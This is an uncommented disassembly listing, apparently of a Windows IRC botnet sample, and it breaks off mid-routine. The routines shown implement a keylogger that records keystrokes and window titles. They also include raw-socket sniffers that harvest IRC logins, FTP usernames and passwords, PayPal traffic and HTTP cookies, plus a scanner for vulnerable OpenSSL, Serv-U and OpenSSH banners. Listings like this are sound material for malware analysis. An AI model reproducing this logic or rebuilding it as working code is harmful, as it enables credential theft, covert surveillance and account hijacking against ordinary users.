[ebp+var_164] cmp [edi+2A0h], ebx pop ecx jnz short loc_411BFB push [ebp+var_168] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread loc_411BFB: ; CODE XREF: sub_411796+450j push 3E8h call dword_427078 ; Sleep push edi loc_411C07: ; CODE XREF: sub_411796+125j call sub_411796 pop edi pop esi pop ebx leave retn 4 sub_411796 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C13 proc near ; CODE XREF: sub_411CF4+B4p ; sub_411CF4+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call dword_42712C ; GetLocalTime lea eax, [ebp+var_114] push 104h push eax call dword_427074 ; GetSystemDirectoryA lea eax, [ebp+var_114] push offset asc_43551C ; "\\" push eax call sub_41BEC0 lea eax, [ebp+var_114] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: sub_411C13+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_411CEF push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_4354EC push 200h push eax call sub_41B980 push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: sub_411C13+A3j xor eax, eax loc_411CF1: ; CODE XREF: sub_411C13+65j pop esi leave retn sub_411C13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411CF4 proc near ; DATA XREF: sub_401ACD+4508o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_4CB5B8 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CB5D0 ; GetWindowTextA mov ebx, 200h loc_411D4F: ; CODE XREF: sub_411CF4+2C7j push 8 call dword_427078 ; Sleep call dword_4CB5B8 ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_411DD7 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CB5D0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_41B886 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_411C13 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_41B590 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_41B590 add esp, 0Ch loc_411DD7: ; CODE XREF: sub_411CF4+6Cj mov [ebp+arg_0], offset aB_0 ; "b" loc_411DDE: ; CODE XREF: sub_411CF4+2BDj push 10h call dword_4CB508 ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_4CB600 ; GetAsyncKeyState test ah, 80h jz short loc_411E76 push 14h call dword_4CB508 ; GetKeyState test ax, ax jz short loc_411E27 cmp esi, 0FFFFFFFFh jle short loc_411E27 cmp edi, 40h jle short loc_411E27 cmp edi, 5Bh jge short loc_411E27 mov [ebp+edi*4+var_8DC], 1 jmp loc_411FA6 ; --------------------------------------------------------------------------- loc_411E27: ; CODE XREF: sub_411CF4+112j ; sub_411CF4+117j ... push 14h call dword_4CB508 ; GetKeyState test ax, ax jz short loc_411E52 test esi, esi jge short loc_411E66 cmp edi, 40h jle short loc_411E52 cmp edi, 5Bh jge short loc_411E52 mov [ebp+edi*4+var_8DC], 2 jmp loc_411FA6 ; --------------------------------------------------------------------------- loc_411E52: ; CODE XREF: sub_411CF4+13Ej ; sub_411CF4+147j ... test esi, esi jge short loc_411E66 mov [ebp+edi*4+var_8DC], 3 jmp loc_411FA6 ; --------------------------------------------------------------------------- loc_411E66: ; CODE XREF: sub_411CF4+142j ; sub_411CF4+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_411FA6 ; --------------------------------------------------------------------------- loc_411E76: ; CODE XREF: sub_411CF4+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_411FA6 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_411EAE call sub_41AFE0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_411FA6 ; --------------------------------------------------------------------------- loc_411EAE: ; CODE XREF: sub_411CF4+1A5j call sub_41AFE0 cmp eax, 1B9h pop ecx jbe short loc_411EE0 call dword_4CB5B8 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4CB5D0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_411F21 ; --------------------------------------------------------------------------- loc_411EE0: ; CODE XREF: sub_411CF4+1C5j cmp edi, 0Dh jnz loc_411F78 lea eax, [ebp+var_2DC] push eax call sub_41AFE0 test eax, eax pop ecx jz loc_411FA6 call dword_4CB5B8 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4CB5D0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_411F21: ; CODE XREF: sub_411CF4+1EAj lea eax, [ebp+var_4DC] push eax call sub_41B886 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_411C13 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_41B590 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_41B590 add esp, 0Ch jmp short loc_411FA6 ; --------------------------------------------------------------------------- loc_411F78: ; CODE XREF: sub_411CF4+1EFj cmp esi, 1 jz short loc_411F91 cmp esi, 3 jz short loc_411F91 cmp esi, 2 jz short loc_411F8C cmp esi, 4 jnz short loc_411FA6 loc_411F8C: ; CODE XREF: sub_411CF4+291j push [ebp+arg_0] jmp short loc_411F98 ; --------------------------------------------------------------------------- loc_411F91: ; CODE XREF: sub_411CF4+287j ; sub_411CF4+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_411F98: ; CODE XREF: sub_411CF4+29Bj lea eax, [ebp+var_2DC] push eax call sub_41BEC0 pop ecx pop ecx loc_411FA6: ; CODE XREF: sub_411CF4+12Ej ; sub_411CF4+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_4354B4 jl loc_411DDE cmp [ebp+var_4], 0 jz loc_411D4F push [ebp+var_D8] call sub_40B412 pop ecx push 0 call dword_4270CC ; ExitThread sub_411CF4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411FD5 proc near ; DATA XREF: sub_401ACD+412Ao var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_41BB20 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_4CB634 ; htons push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AC0F pop ecx push eax call dword_4CB674 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_4CB6B4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_4120AA call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_435EBC push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_41208D push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409A72 add esp, 14h loc_41208D: ; CODE XREF: sub_411FD5+96j lea eax, [ebp+var_2B4] push eax call sub_4151AC push [ebp+var_30] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread loc_4120AA: ; CODE XREF: sub_411FD5+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_43E57C[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_4CB660 ; bind cmp eax, 0FFFFFFFFh jnz short loc_41212F call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_435E90 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_41210B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409A72 add esp, 14h loc_41210B: ; CODE XREF: sub_411FD5+114j lea eax, [ebp+var_2B4] push eax call sub_4151AC pop ecx push edi call dword_4CB6CC ; closesocket push [ebp+var_30] call sub_40B412 pop ecx push esi call dword_4270CC ; ExitThread loc_41212F: ; CODE XREF: sub_411FD5+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_4CB5E0 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4121B2 call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_435E60 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_41218E push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409A72 add esp, 14h loc_41218E: ; CODE XREF: sub_411FD5+197j lea eax, [ebp+var_2B4] push eax call sub_4151AC pop ecx push edi call dword_4CB6CC ; closesocket push [ebp+var_30] call sub_40B412 pop ecx push esi call dword_4270CC ; ExitThread loc_4121B2: ; CODE XREF: sub_411FD5+177j push ebx mov ebx, offset dword_435578 loc_4121B8: ; CODE XREF: sub_411FD5+21Bj ; sub_411FD5+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_4CB64C ; recv cmp eax, 0FFFFFFFFh jz loc_4122E5 cmp [ebp+var_102AB], 6 jnz short loc_4121B8 mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_4121B8 lea eax, [ebp+var_1028C] push offset dword_435E54 push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4121B8 lea eax, [ebp+var_1028C] push offset dword_435E44 push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4121B8 mov eax, ebx xor edi, edi test eax, eax jz loc_4121B8 mov [ebp+arg_0], ebx loc_412241: ; CODE XREF: sub_411FD5+287j push eax lea eax, [ebp+var_1028C] push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412263 inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_412241 jmp loc_4121B8 ; --------------------------------------------------------------------------- loc_412263: ; CODE XREF: sub_411FD5+27Dj lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_4CB564 ; htons movzx eax, ax push eax push [ebp+var_C] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_43558C[eax*8] push off_435568[eax*4] lea eax, [ebp+var_2B4] push offset dword_435E10 push 200h push eax call sub_41B980 add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_4122D3 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409A72 add esp, 14h loc_4122D3: ; CODE XREF: sub_411FD5+2DCj lea eax, [ebp+var_2B4] push eax call sub_4151AC pop ecx jmp loc_4121B8 ; --------------------------------------------------------------------------- loc_4122E5: ; CODE XREF: sub_411FD5+20Ej call dword_4CB5C8 ; WSAGetLastError push eax push offset dword_435DE4 lea eax, [ebp+var_2B4] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_41232B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409A72 add esp, 14h loc_41232B: ; CODE XREF: sub_411FD5+334j lea eax, [ebp+var_2B4] push eax call sub_4151AC pop ecx push [ebp+var_4] call dword_4CB6CC ; closesocket push [ebp+var_30] call sub_40B412 pop ecx push esi call dword_4270CC ; ExitThread sub_411FD5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE3A0, eax mov eax, offset dword_4CE3A0 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_1 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_1 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB648 ; gethostname lea eax, [ebp+var_3B8] push eax call dword_4CB6B8 ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CB6B4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CB660 ; bind cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_2B8] push offset unk_436190 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB6CC ; closesocket push [ebp+var_34] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB5E0 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_2B8] push offset unk_436160 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB6CC ; closesocket push [ebp+var_34] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CB64C ; recv cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] call dword_4271E8 ; inet_ntoa push eax lea eax, [ebp+var_13B8] push offset aS_4 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] call dword_4271E8 ; inet_ntoa push eax lea eax, [ebp+var_BB8] push offset aS_4 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43612C jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4360F8 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4360C4 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_43608C loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436054 jmp short loc_4129E7 sub_412660 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A53 proc near ; DATA XREF: sub_401ACD+6542o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch 